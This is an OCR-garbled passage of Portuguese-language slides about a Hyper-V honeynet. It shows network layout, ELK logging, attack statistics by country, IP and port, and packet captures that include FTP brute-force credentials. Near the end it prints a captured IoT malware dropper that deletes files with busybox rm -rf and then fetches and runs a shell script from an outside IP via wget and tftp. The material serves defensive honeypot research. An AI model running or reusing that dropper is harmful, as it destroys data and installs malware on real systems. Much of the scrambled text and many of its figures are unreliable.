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Intruso (teste) etho - interface virtual bridge (ndo tem IP) . Rede Hone, 72.30.20/24
"2y eth1 — interface virtual host-only (nao tem IP)
U eth2 - interface virtual bridge (172.30.10.2) Linax DNS

©th0: X006 XX.XX.XX

i Linux WEB
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eth0: 172.30.10.3 Linux FTP
* Logstash: centralizag3o dos eventos delog Honeypot
eth0: 172.30.20.36
N Rede geréncia
* Elasticsearch: indexag3o dos eventosde log. 172.30.10.0/24
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eth0: 172.30.10.10
interface fisica Hyper-V

Firewall, , BD Log
ogstash, Kibana) e Hypervisor Hyper-V

4quina para geréncia dos servigos:
L

eth0: 172.30.10.20
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3 Gerenciador do Hyper-V
33 SRV-0210-HONEYN Magquinas Virtuais
Nome - Estado UsodaCPU  Meméria Atribuida  Tempo de Ativacao
® yly Honeynet i Bama Executando 0% 8192 MB 8.06:59:09
: 512 MB 3.08:14:18
® Iy Extema 3 Cabula Executando 512MB 8
. d Corsario Executando 2048 MB 8
i fy Gerenca 3 imbui Executando 0 512 MB 8
. 3 Inema Executando 0% 3072 MB 9
® yly Link_Firewal_Honeywal H Repue e actinrsis B 512MB 8
i Ondina Executando 0% 512 MB 8
Pituba Executando 0% 4096 M 8

i
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> @ China »> @22
@ Brazil 023
@ Vietnam 445
@ United States
@ india
Poland
o R Federation
orea, Republic of [ ]
@ Turkey °
@ Ukraine °
@ Netherlands °
@ Germany °
QTD ACESSOS POR PAISES - Q. Count QTD ACESSOS POR IPs EXTERNOS Count QTD ACESSOS PORTA DESTINO = Q. Count
QU
China 40,573 22 42,528
116.31.116.21 13.664
Brazil 5.722 23 29,092
116.31.116.20 9.467
Vietnam 5.616 aas 6,980
116.31.116.35 4.247
United States 3.854
! 116.31.116.33 3.843 139 2963
India 3.513 osi7ibi7e 2077 21 2,634
Poland 2.535 111.93.142.33 1.522 8o 2.108
Russian Federation 2.089 191.176.14.133 1052 135 1.291
Taiwan 2059 46.172.71.249 772 443 958
Korea, Republic of 1958 116.31.116.23 738 3306 920

i 116.31.116.20
China 116.31.116.21
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Report Settings: 06/14-19:59:59.091763 0:15:5D:6:57:15 -> 0:15:5D:6:57: F_tyn.e 0x800 len:0x78
- Honeynet: 172.30.20.0/24 172.30.20.21:21 -> 193.17.18:.78 64566 TCP TTL:64 ? 7Ox0 IDMPOSS IplLen:20 Dgmlen:109 DF
" *akpAP**E Seq: OXDSFF622E Ack: OXEA408FEC Win: 9 TcplLen: Y20
R::::':? Dalep'aczg‘:%;;gzdus;?ns 32 32 30 20 SO 72 6F 46 S4 SO 44 20 31 2E 33 2E 0 ProFTPD 1.3.
- -~ 35 20 53 65 72 76 65 72 20 28 53 65 72 76 69 64 S| Server (Servlp
1931718476 24954 827 1972 6F 72 20 46 54 S0 20 52 41 45 4F 4F 29 20 SB 3A 5 FTP RAEOO) 8
190.235.133.48~ _3041 . “9119 252 3A 66 66 66 66 3A 31 37 32 2E 33 30 2E 32 30 2E &ff 172.30. 2
197.231.221.211 9570 2288795 225 32 31 SD 0D OA
201.22.57.115 157 2660 46
187.95.126.221 164 789 S8 | ittt ieimhimelesmsfeimstvim mieimeins{eime e e e e s e e
188.138.9.49 2815 507845 31
b e e g 06/14-19:59:59.395311 0:15:5D:6:57:F -> 0:15:5D:6:57:15 type:0x800 len:0x42
89.163.237.43 24 1007 17 193.17.184.78:64566 -> 172.30.20.21:21 TCP TTL:102 TOS:0x4 ID:25606 IpLen:20 DgmLen:S2 DF
149.202.98.161 1733 381789 15 *AKAPHIK Seq: OXEA4OBFEC Ack: OxDSFF6273 Win: Ox40 ~TZplens 20
SS S3 45 52 20 61 64 6D 69 6E 0D OA , USER admin. . \
~—— -

Top 10 Scanned Ports:

Pot  Packels Bytes Conns 06/14-19:59:59.700332 0:15:5D:6:57:F -> 0:15:5D:6:57:15 type:0x800 len:0x43

M ———— 193.17.184.78:64566 -> 172.30.20.21:21 TCP TTL:102 TOS:0x4 ID:25666 IplLen:20 DgmLen:S3 DF
tepi21 27675 39876 2179 N *AKAPHHKK Seq: OXEAAOBFF8 Ack: OXxDSFF6294 Win: Qx40 “TEpLens 20

tcp/23 6866 98774 ~ 490 — 7 50 41 S3 53 20 63 61 72 6F 6C 65 OD OA ¢ PASS carole..

tcp/80 33997 8108142 276 N o -

tcp/445 2068 153305 L e e T e o T T VI FSATH S St =t =t =ttt ot s
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\ 19023823348 s9:13az66r e 112 95422 230 200.17,98 254
~ 942421246 24
~ N 144:2588.210 237 112.168:251 To8% o TS 187 95,448 285429 166 =
~ ~ ~
183.142.2%1, 117:227s15 148 o 642022 . .
& 14.1134129 60! 7 ~ \ 2012267415 0
80.144 ms;g ez sk 178.212,216°208 \
=< = 3 206 g5 250
1712247260 s 7
5117980305 — = '\_ 77 7
93.118253.71 é
197.149,66.104 \ h% 4
98.85,406.91 27115331155 -
1422339 87 -
110 56,68 47 188 138,949 - \
200.158:73.115 182784221109 157 242237 102 e '
7
2 434,190 1712593 77
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7
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154 60.2 =
8724322033315 101 92 17464183 242:2131625.203 23414 4842 60 / ,
4 7 197233221271
20233481124 412 262 365 46 / /89.153:237 45 N
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20 63 64 20 2F 76 cd /tmp || cd /v | # Delete some shit to prevent "whitehats" ;)
63 64 20 2F 64 65 ar/run || cd /de | busybox rm -rf /tmp/*

64 20 2F 6D 6E 74 v/shm || cd /mnt busybox rm -rf /root/*

723872602020 || cd /var;rm - busybox rm -rf /usr/bin/strings

78 20 77 67 65 74 f *;busyj)o.x\wget busybox rm -rf /usr/bin/ps PiainiN

35 2€ 32 32 2E 31  http://185.22.1 . .
2E 73 68 3B 73 68 72.23§/bin.sh;ish au;yng wg%.ht;?é{/é85.§2.172.2§%£, blusybox
73 79 62 6F 78 20  bin.sk;busybéx chmod +x 10, ./10; Dusyoox rm - -

6E 32 2 73 68 20 tftp -r BimZ.sh m -f *

SHA256: 6c4eec79f50ad781c2dcafe91cafa81d5a25523162dcc6d87dda32460a126096
Nome do arquivo: 10
VRSN

Taxa de detecgdo: (4 / 56,‘
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